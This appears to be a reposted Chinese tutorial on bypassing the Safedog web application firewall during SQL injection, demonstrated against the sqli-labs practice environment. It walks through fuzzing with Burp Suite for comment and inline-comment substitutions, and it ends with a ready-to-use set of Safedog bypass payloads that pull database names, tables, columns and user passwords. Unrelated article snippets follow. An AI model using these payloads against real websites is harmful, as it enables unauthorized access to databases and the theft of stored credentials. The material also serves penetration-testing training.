sqlmap之绕过安全狗

news2024/11/14 23:56:53

 sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下

目录

一:环境配置

1.sqli-labs的sql注入靶场环境

2.安全狗waf软件

3.检测WAF是否起作用

 二:思路讲解 

1.语句被拦截的处理办法

 2.Fuzz绕过利用

三:绕过实战 

1.验证存在注入 

2.order by 绕过

3. union语句绕过

4.敏感信息绕过

三.bypass安全狗姿势汇总


 

一:环境配置

1.sqli-labs的sql注入靶场环境

这个我相信屏幕前的渗透大牛们应该都有吧(没有的可以私我拿),这里就不多介绍了,主要是拿实战环境过不了审,所以只能用靶场,大家理解一下,思路都是一样

2.安全狗waf软件

 这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)

链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg 
提取码:emlg

下载之后跟着提示安全即可

注意:1.安装成功之后记得开启安全狗的网站保护

           2.记得关闭安全狗的cc攻击防护,因为待会需要批量fuzz,可能被封ip 

3.检测WAF是否起作用

 这里以sqli-labs靶场的第一关做演示,如下

传入id=1后,加单引号,正常报错,说明可能存在注入

http://192.168.0.108/sql/less-1/?id=1' 
 

 再加入%23,回显正常,说明为字符型注入

安装注入逻辑,输入and 1=1逻辑判断语句,出现安全狗拦截页面,说明安全狗布置成功,如下 

http://192.168.0.108/sql/less-1/?id=1' and 1 = 1 %23
 

 二:思路讲解 

 如上,我们的and 1=1逻辑判断语句被拦截了,那现在的思路是什么?你认为现在应该做什么才能绕过过滤?这就是我首先要讲的,被拦截之后应该怎么处理

1.语句被拦截的处理办法

这是最应该先做也是最简单的部分,因为WAF大都是通过黑名单的方式进行拦截,所以如果出现了被拦截的情况,大概率是因为你的语句的某个函数或其他位置触发了黑名单的验证机制,导致被拦截,那应该怎么检测呢?其实一个一个试就行了


 
  1. 例如我这里的 and 1= 1被拦截,就可以依次输入
  2. and
  3. and(空格)
  4. and 1
  5. and 1=
  6. and 1=1

通过这种方式看看哪个语句被拦截,从而判断是哪个部分触发的拦截,再做对应的绕过或者替换就可以了

演示: 比如这里我输入and,正常and+空格,正常,输入and 1出现拦截页面,如下

http://192.168.0.108/sql/less-1/?id=1' and 1 %23
 

 说明“and 1”这个部分触发了拦截,此时的绕过方式可以选择替换或者绕过,这里我们先试试对中间的空格进行替换

大家都知道语句的很多部分都有对应的替换方式,而且还不止一种,特别是空格的替换方式尤其多,我们不可能全部都能记住,所以这里就要给大家讲一个新的知识点——FUZZ绕过

 2.Fuzz绕过利用

Fuzz测试,也称为模糊匹配,意思就是在不知道攻击poc的情况下,我们通过编写脚本或者利用一些自动化工具来进行匹配目标的脚本,尝试获取poc,其实就是基于字典的爆破,在字典中构造语句来进行批量的测试

 演示:

比如这里我们想替换and和1之间的空格来绕过检测,就可以将空格的替换方式整理到字典中,在使用burp来批量跑进行测试,尝试获取payload,对于各种位置的替换方式不明白的也可以看一下我的博客,点此进入

举个简单的例子,来看看下面这个语句

http://192.168.0.108/sql/less-1/?id=1' and 1=1 %23
 

如果我们想要替换空格,最常见的就是/**/,如下

http://192.168.0.108/sql/less-1/?id=1'/**/and 1=1 %23
 

但却不一定好用,大概率被过滤,其实/**/中间是可以加特殊符号的,但加什么,其实需要慢慢试,这时候就可以用到fuzz了,直接选中/*和*/中间的数据,将其作为变量进行爆破,如下

 这里payload的类型选择burpsuite自带的Brute force,用特殊符号组成1-4位字典进行爆破,如下

 再设置线程,开启爆破即可,结果如下 

根据结果可以看到/!/!可以成功,配合包着的注释符就是/*/!/!*/可以替换空格,这就完成了一次绕过waf和制造payload,这也是sql注入bypass中最常用的技巧,下面就让我们一起来看看安全狗的WAF

三:绕过实战 

1.验证存在注入 

刚才我们通过对空格的替换方式的fuzz已经可以让如下语句正常执行了

http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=1 %23
 

我们再尝试一下,1=2的逻辑判断语句,再次验证是否成功绕过

http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=2 %23
 

此时页面出现报错,并没有正常显示,如下

 现在已经成功验证除了注入,此时我们该做什么呢?一般都是通过order by语句来获取字段数量,下面让我们来试试

2.order by 绕过

我们直接把后面的逻辑判断语句尝试修改为order by,不出意外,被拦截,如下

http://192.168.0.108/sql/less-1/?id=1'order by 2 %23
 

 老方法,判断报错位置,经过测试是因为order by这个语句被识别导致拦截,所以直接还是用fuzz替换空格,成功绕过,结果如下

http://192.168.0.108/sql/less-1/?id=1' order/*%26!%26!*/by 3 %2
 

只有字段数量为3时正常显示,其他都报错,说明此处的字段数为3,我们继续深入 

3. union语句绕过

 下一步就该我们的union语句了,再次尝试,果不其然又被拦截,如下,问题不大,我们继续尝试

http://192.168.0.108/sql/less-1/?id=1' union select 1,2,3 %23
 

 这里我们继续尝试替换select和union之间的空格,如下

http://192.168.0.108/sql/less-1/?id=1' union/*%2f!%2f*/select 1,2,3 %23
 

结果发现不管用了

咦,怎么不管用了呢?这说明什么?这说明他并不是通过“union select”这个字符串来判断的,我们单独输入union试试,果不其然,直接被拦截

当单独的函数被拦截时,我们有两个选择,

一个就是替换union函数为其它函数,换一个能实现同样功能的函数

另一个就是给union加上过滤标志,让他能够绕过WAF的检测

 这里我们选择给union加上过滤标志,这也是首选的,这里的过滤方式我们选择内敛注释绕过,内俩注释的格式如下

/*!特殊字符+函数名*!/
 

这也是比较好用的方式,但这里的特殊字符比较玄学,所以也需要通过fuzz来找出能绕过的版本号,先在版本号位置随便写个值作为变量,开启burpsuite,选中变量开启爆破,如下 

http://192.168.0.108/sql/less-1/?id=1' /*!4000union*//*%2f!%2f*/select 1,2,3 %23
 

爆破设置与空格的爆破设置相同,这里就不多讲了,结果如下

 fuzz成功跑出payload,而且还很多,随便选一个用,如下

http://192.168.0.108/sql/less-1/?id=1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23
 

可以看到确实没有被拦截了,再将前面的1改成-1,使后面的union语句能够正常执行,如下

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23
 

 

 这样union语句也可以使用了,我们趁热打铁,继续继续

4.敏感信息绕过

刚才的union语句已经成功绕过,这时候我们就可以尝试用union语句获取数据,先获取当前数据库名,如下

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database(),2,3 %23
 

不出所料,直接拦死

 这就很明显,database()函数被WAF识别并拦截了,那此时我们可以怎么绕过呢,当然,上面用的内联注释也是可行的,但这里我还给大家介绍一种绕过方式,那就是在database和()中间加注释,也能被解析,举个例子


 
  1. 原: database()
  2. 修:database /*xxx*/()

这时候同样,将里面的xxx作为变量,继续fuzz,设置和刚才一样,结果如下

又跑出来了一堆绕过姿势,6

此时语句为

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database/*%26!%26%26*/(),2,3 %23
 

好了,具体操作也就到这里了,再写的话就太多了,后面的获取表名,字段名,数据都会遇到安全狗的拦截,但是用上面的三种方法均可绕过,有兴趣的可以试试,下面也为你们准备了bypass安全狗的全部姿势 

四.bypass安全狗姿势汇总

查询当前数据库名称

-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database/*/%0a*a*/()%23
 

查询所有数据库名称


 
  1. -1' union/ *//--/*// *!--+/*%0aselect/ *//--/*// *!--+/*%0a1,2,(select/ *//--/*// *!--+/*%0agroup _concat(schema_name) from/ *//--/*// *!--+/*%0a information _schema./*!schemata*/)%23

 查指定数据库的所有表

-1%27%20union/*/%0a*a*//*!88888www.safedog.dog*/%20select%201,2,(select%20group_concat(table_name)%20/*!%20--+/*123%0a%0afrom%20information_schema./*!tables*/ where table_schema='security')%23

 

指定表的所有字段

-1' union /*/%0a*a*//*!88888www.safedog.dog*/select /*/%0a*a*//*!88888www.safedog.dog*/1,2,group_concat(column_name)    from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

 

指定表的指定字段数据

-1' union /*/%0a*a*//*!88888www.safedog.dog*/ select 1,2, group_concat(concat_ws(0x7e,username, password))    from   security.users --+

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/141669.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nrm使用详解

目录1. 什么是 nrm2. 安装 nrm3. 使用 nrm3.1 查看所有源列表3.2 切换源3.3 添加源3.4 删除源3.5 查看所有源的响应速率1. 什么是 nrm npm 的源管理器,切换下载安装 项目依赖 时的源地址。默认包含 npm yarn tencent cnpm taobao npmMirror,支持添加、删…

docker安装kafka

1.下载镜像 docker pull wurstmeister/kafka docker pull zookeeper:latest 2.启动镜像 1)启动zookeeper docker run -d -p2181:2181 -v /etc/localtime:/etc/localtime --name zookeeper zookeeper:latest2)启动kafka docker run -d -p9092:9092 \-e KAFKA_ZO…

Twitter开发者账号申请

Twitter开发者账号申请 前期准备 Twitter绑定手机号 申请开发者账号要求绑定手机号,建议境外手机号,国内手机号容易出现收不到验证码的问题。一个可以正常使用的Twitter账号 被封的不可以。 开始注册 注册开发者管理平台账号 登录Twitter开发者管理…

STM32——ADC模数转换器

文章目录一、ADC模数转化器ADC简介逐次逼近型ADCADC框图二、ADC基本结构三、触发转换控制四、输入通道五、规则组的四种转换模式单次转换,非扫描模式连续转换,非扫描模式单次转换,扫描模式连续转换,扫描模式六、数据对齐七、转换时…

Linux系统下的rpm管理

文章目录Linux系统下的rpm管理1.介绍2.rpm包的简单查询指令3.rpm包的其它查询指今4.卸载rpm包5.安装rpm包Linux系统下的rpm管理 1.介绍 rpm用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。RPM是RedHat Package Manage…

【设计篇】35 # 如何让可视化设计更加清晰?

说明 【跟月影学可视化】学习笔记。 分清信息主次&#xff0c;建立视觉层次 用醒目的颜色突出显示数据&#xff0c;把被淡化的其他视觉元素当作背景。 比如&#xff1a;平均温度与露点的散点例子 <!DOCTYPE html> <html lang"en"><head><m…

linux上安装python3.7.4

1.wget下载python3安装包 wget https://www.python.org/ftp/python/3.7.4/Python-3.7.4.tgz2.wget下载的压缩包默认在~目录下 3.进入~目录&#xff0c;直接解压压缩包 tar -xzvf Python-3.7.2.tgz4.进入python解压后的目录&#xff0c;为python配置环境&#xff0c;指定pytho…

CMMI-培训管理

培训管理&#xff08;Training Management, TM&#xff09;是指根据机构&#xff08;或项目&#xff09;的需求来制定培训计划&#xff0c;并监督该计划的实施&#xff0c;确保培训取得预期效果。培训管理过程域是SPP模型的重要组成部分。本规范阐述了培训管理过程域的两个主要…

头歌:UDP Ping程序实现 接收并转发消息

头歌平台&#xff1a;头歌实践教学平台 (educoder.net)任务描述本关任务&#xff1a;在 Ping 服务端程序框架中&#xff0c;完成接收数据&#xff0c;并回传给相应客户端。如何接收数据包套接字数据在 UDP 通信中使用sendto()函数发送 UDP 数据。将数据发送到套接字&#xff0c…

Parallel Processing in Python - Python 中的并行处理

并行处理可以增加程序完成的任务数量&#xff0c;从而减少整体处理时间。这些有助于处理大规模问题。 参考链接&#xff1a;Parallel Processing in Python - GeeksforGeeks 1 并行处理介绍 对于并行性&#xff0c;重要的是将问题划分为不依赖于其他子单元 (或较少依赖) 的子…

【Vue中使用Echarts】大屏可视化项目整体布局(pink老师vue 版)

文章目录一、效果展示二、基本的布局三、背景四、代码布局中遇到的一些问题一、效果展示 先看一下展示的效果&#xff0c;无论是尺寸多宽的屏幕&#xff0c;都会将内容显示完整&#xff0c;做到了正正的响应式。唯一不足的是图表中的样例&#xff0c;会随着图表的缩放而变换位…

35-剑指 Offer 37. 序列化二叉树

题目 请实现两个函数&#xff0c;分别用来序列化和反序列化二叉树。 你需要设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列 / 反序列化算法执行逻辑&#xff0c;你只需要保证一个二叉树可以被序列化为一个字符串并且将这个字符串反序列化为原始的树结构。 …

第02讲:HTTP操作之ElasticSearch索引操作

3.1.1、索引操作 实验1&#xff1a;创建索引 对比关系型数据库&#xff0c;创建索引就等同于创建数据库 在 Postman 中&#xff0c;向 ES 服务器发 PUT 请求 :http://127.0.0.1:9200/shopping { "acknowledged"【响应结果】: true, # true操作成功 "shards…

npm与包

1、包 1.1、什么是包 Node.js 中的第三方模块又叫做包。就像电脑和计算机指的是相同的东西&#xff0c;第三方模块和包指的是同一个概念&#xff0c;只不过叫法不同。 1.2、包的来源 不同于 Node.js 中的内置模块与自定义模块&#xff0c;包是由第三方个人或团队开发出来的&a…

跟踪数据集汇总

文章目录DanceTrack 运动跟踪数据集简介转为Labelme标注的物体检测数据集格式WiderPerson行人检测数据集简介转为Labelme标注的物体检测数据集格式DanceTrack 运动跟踪数据集 简介 DanceTrack 是一个大规模的多对象跟踪数据集。用于在遮挡、频繁交叉、同样服装和多样化身体姿…

DVWA之SQL注入漏洞与防御

数据来源 本文仅用于信息安全学习&#xff0c;请遵守相关法律法规&#xff0c;严禁用于非法途径。若观众因此作出任何危害网络安全的行为&#xff0c;后果自负&#xff0c;与本人无关。 耳熟能详的SQ注入是什么&#xff1f; 关于SQL注入漏洞&#xff0c;维基百科是这样解释的 …

传统离散制造行业的9个维度,你知道吗?

制造业是国家的经济基础&#xff0c;是立国之本、兴国之器、强国之基&#xff1b;作为我国实体经济的主体&#xff0c;是国民经济体系的重要组成部分。按照产品制造工艺过程特点&#xff0c;制造业总体上可以分为离散型制造、流程型制造、混合型制造。离散制造包括家电、家居、…

2022亚太杯数学建模E题(1月补赛)

占个位置吧&#xff0c;更新E题的详细思路代码&#xff0c;文章末尾名片获取&#xff01;ABC题已更新 持续为更新参考思路 E题思路分析&#xff1a; 第一问都是一些基础的数据分析问题&#xff0c;使用题目给出的数据稍加整理归纳即可得出结论。 E题给了4张表格数据&#x…

MySQL调优-MySQL索引优化实战二

目录 MySQL调优-MySQL索引优化实战二 分页查询优化 >>常见的分页场景优化技巧&#xff1a; 1、根据自增且连续的主键排序的分页查询 2、根据非主键字段排序的分页查询 Join关联查询优化 MySQL的表关联常见有两种算法&#xff1a; 1.嵌套循环连接 Nested-Loop Join…

Python入门注释和变量

1.1计算机的基本原理 1.2 计算机的组成 2.1编程语言与python 2.2在 Welcome to Python.org 里面进入 无脑下一步下载 下载后打开cmd&#xff0c;输入名令Python显示下载的版本号 exit&#xff08;&#xff09;退出编辑 Pycharm无脑安装 社区版无需破解&#xff0c;专业版需破…